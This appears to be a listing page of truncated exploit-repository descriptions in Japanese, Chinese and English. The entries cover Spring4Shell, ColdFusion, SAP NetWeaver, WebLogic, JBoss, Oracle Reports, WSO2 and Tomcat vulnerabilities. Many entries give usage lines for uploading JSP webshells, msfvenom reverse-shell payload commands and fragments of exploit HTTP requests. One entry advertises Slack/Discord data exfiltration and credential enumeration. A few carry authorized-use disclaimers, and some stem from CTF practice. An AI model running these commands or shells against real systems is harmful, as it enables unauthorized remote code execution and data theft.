zaphoxx-coldfusion

zaphoxx-coldfusion https://cvedetails.com/cve/CVE-2009-2265/ に基づく ColdFusion エクスプロイト この特定の CVE のために Python スクリプトを用意した主な理由は、HTB のマシン Arctic を解こうとしたときに、同じ内容の Metasploit バージョンが自分ではうまく動かなかったためです。また、Python の練習を少しできるのも良かったからです。ただし、同じエクスプロイトの別の Python バージョンもあり、これは元々 Alexander Reid...

CVE-2021-26828-Ultimate

ScadaFlare - CVE-2021-26828 認証済みRCEエクスプロイトツールキット ScadaBR 1.1.0 を標的としたモジュール式の認証後RCEエクスプロイトで、レッドチーム運用向けに機能強化されました。 機能 viewedit.shtm を介して武器化された .jsp シェルをアップロード Linux および Windows ペイロードに対応 SOCKS5 / HTTP プロキシ対応 リバースシェルトリガー（標準または base64） 列挙モジュール（DB、認証情報、Log4Shell など） Webhook データ外部送信（Slack / Discord）...

spring4shell-CVE-2022-22965

Simple Spring4Shell POC Check if endpoint is vulnerable python spring4shell.py -u http://192.168.110.117:8080/helloworld/greeting --check Exploit vulnerable endpoint python spring4shell.py -u http://192.168.110.117:8080/helloworld/greeting -f shell.jsp --exploit Execute command on uploaded webshe...

CVE-2022-22965

Spring Boot CVE-2022-22965 Spring Boot バージョン 2.6.5 における CVE-2022-22965 の Docker PoC 🚀 はじめに 1. https://github.com/itsecurityco/CVE-2022-22965/archive/refs/heads/master.zip から配布コードをダウンロードし、解凍します。 2. docker compose up --build を実行して、脆弱なアプリケーションをビルドし起動します。 3. 以下のコマンドを実行して Tomcat の設定バルブを変更します。 curl -H...

CVE-2009-2265

バージョン: ColdFusion 8.0.1 CVE-2009-2265 msfvenom -p java/jspshellreversetcp LHOST=10.10.14.12 LPORT=4444 -f raw shell.jsp python upload.py 10.10.10.11 8500 shell.jsp 例 :...

CVE-2025-31324

CVE-2025-31324 CVE-2025-31324, SAP 漏洞利用 root@kitploit: POST /developmentserver/metadatauploader?CONTENTTYPE=MODEL&CLIENT=1 HTTP/1.1 Host: 127.0.0.1:8000 User-Agent: python-requests/2.32.3 Accept-Encoding: gzip, deflate, zstd Accept: / Connection: keep-alive Content-Length: 636 Content-Type:...

Spring4Shell

Spring RCE CVE-2022-22965 脆弱性環境 環境情報 springboot jdk11 tomcat9.0.30 payload リクエストヘッダー設定 root@kitploit: "suffix": "%//", "c1": "Runtime", "c2": "%", "DNT": "1", "Content-Type": "application/x-www-form-urlencoded", リクエストボディデータ root@kitploit:...

CVE-2018-2628

CVE-2018-2628 WebLogic反序列化漏洞复现 weblogic getshell python CVE-2018-2628-Getshell.py ip port shell1.jsp root@kitploit: C:\Users\CTF\Desktoppython CVE-2018-2628-Getshell.py 10.10.20.166 7001 jason1.jsp / \ \ / / | | \ / / |/ \ | \ / /| \ / \ | | \ \ / /| | | | | || | | / / | | | | \ / / | |/ /| | |...

Spring4Shell-CVE-2022-22965-POC

Spring4Shell-CVE-2022-22965-POC root@kitploit: ghost㿉uchiha:$ ./exploit.py --help usage: exploit.py -h -f FILENAME -p PASSWORD -d DIRECTORY url Spring4Shell RCE Proof of Concept positional arguments: url Target URL options: -h, --help show this help message and exit -f FILENAME, --filename FILENA...

CVE-2022-22965

CVE-2022-22965-POC CVE-2022-22965 spring-core批量检测脚本 声明：该脚本仅供于学习使用，禁止非法使用，如有恶意破坏、违法使用，与本人无关！！！ 用法： python3 CVE-2022-22965-POC.py url.txt 成功写入后访问shell http://192.168.0.101:8090/test.jsp 这里我只使用的shell为123，并没有使用木马，仅供于安全检测。...

Spring4Shell-POC

Spring4Shell-POC Spring4Shell 脆弱性のローカル再現手順 環境準備 環境 docker、docker-compose mvn パッケージングにより、./target/ROOT.war を生成shell mvn package root@kitploit: サービス起動shell docker-compose up -d サービスの停止shell docker-compose down root@kitploit: 再現手順 スクリプトを実行shell python3 spring-4-shell-exp.py --url...

jboss-autopwn

jboss-autopwn JBoss Autopwn，如2010年BlackHat Europe所展示——该版本整合了由Minded Security发现的CVE-2010-0738 JBoss认证绕过VERB操纵漏洞。 C. Papathanasiou 2010 介绍 该JBoss脚本在目标JBoss AS服务器上部署一个JSP Shell。部署后，脚本利用其上传和命令执行能力提供交互式会话。 功能包括： 多平台支持——已在Windows、Linux和Mac目标上测试 支持绑定和反向绑定Shell 针对Windows目标的Meterpreter Shell和VNC支持 安装 依赖项包...

spring4shell-poc

Spring4Shell POC 脆弱性の説明: https://www.cyberkendra.com/2022/03/springshell-rce-0-day-vulnerability.html POCの構成: https://github.com/BobTheShoplifter/Spring4Shell-POC ビルド/実行手順 テスト環境: JDK 11.0.14、Spring Boot 2.6.5、Apache Tomcat 9.0.60 アプリケーションをビルドするには mvn clean package を実行 demo-0.0.1-SNAPSHOT.war を...

rwsploit

Oracle Reports rwservlet スキャナー ⚠️ 許可された用途のみ。所有しているシステム、または明示的な書面によるテスト許可を得ているシステムに対してのみこのツールを実行してください。不正使用は違法です。 Oracle Reports Server（rwservlet）に焦点を当てたエクスプロイトスキャナーで、CVE-2012-3152 および CVE-2012-3153 を狙います。影響を受けるのは 11g 未満のバージョンです。単一 IP、CIDR 範囲、またはターゲットリストに対して、検出、LFI ファイル読み取り、SSRF テスト、JSP...

Fast-CVE-2022-22965

標的マシン root@kitploit: docker run -itd -p 80:8080 vulfocus/spring-core-rce-2022-03-29:latest リバースシェルは実質的にmsfvenomを参照しています root@kitploit: msfvenom -p java/jspshellreversetcp LHOST=xxx LPORT=xxx -f raw -o shell.jsp jspをURLエンコードした後、次を使用します root@kitploit: %3C%25替换 %25%7Bc2%7Di 代表...

CVE-2018-2380

CVE-2018-2380 CVSS v3 Base Score: 6.6/10 SAP NetWeaver AS JAVA CRM上のログインジェクションを介したリモートコマンド実行のPoC スクリプト使用例 root@kitploit: python crmrce-CVE-2018-2380.py --host 127.0.0.1 --port 50001 --username administrator --password 123QWEasd --SID DM0 --ssl true ここで --host はSAPサーバーのIP --port SAP NetWeaver AS...

CVE-2024-50379-POC

CVE-2024-50379-POC このリポジトリには、CVE-2024-50379 を悪用する Python スクリプトが含まれています。この脆弱性を利用すると、攻撃者は脆弱なサーバーに JSP シェルをアップロードし、リモートで任意のコマンドを実行できます。このエクスプロイトは、対象サーバーの /uploads ディレクトリが保護されていない、または存在しない場合に特に有用です。 概要 CVE-2024-50379 は、ファイルアップロードを適切に処理しないサーバーに影響を与える脆弱性であり、攻撃者が JSP...

CVE-2024-50379

手動での悪用は面倒なので、expをでっち上げました。。 使い方： shell.jspはシェルファイル、ggsl.jspはターゲットサーバーに保存する名前/パスです。 ./CVE-2024-50379 -u http://192.168.2.245:8080 -f shell.jsp -p ggsl.jsp 免責事項 本ツールは正規に許可された 企業のセキュリティ構築行為のみを対象としています。本ツールの可用性をテストする必要がある場合は、ご自身で標的環境を構築してください。...

CVE-2022-29464

WSO2 任意ファイルアップロードによるリモートコマンド実行 RCE https://docs.wso2.com/display/Security/Security+Advisory+WSO2-2021-1738 例 root@kitploit: python3 exploit.py https://target.org:9443 shell.jsp...

jboss-autopwn-1

jboss-autopwn 在2010年BlackHat Europe上展示的JBoss Autopwn——该版本整合了CVE-2010-0738，即Minded Security发现的JBoss认证绕过VERB操控漏洞。 C. Papathanasiou 2010 介绍 该JBoss脚本在目标JBoss AS服务器上部署一个JSP shell。部署后，脚本利用其上传和执行命令的功能提供一个交互式会话。 功能包括： 多平台支持——已在Windows、Linux和Mac目标上测试 支持绑定shell和反向连接shell Windows目标的Meterpreter shell和VNC支持 安...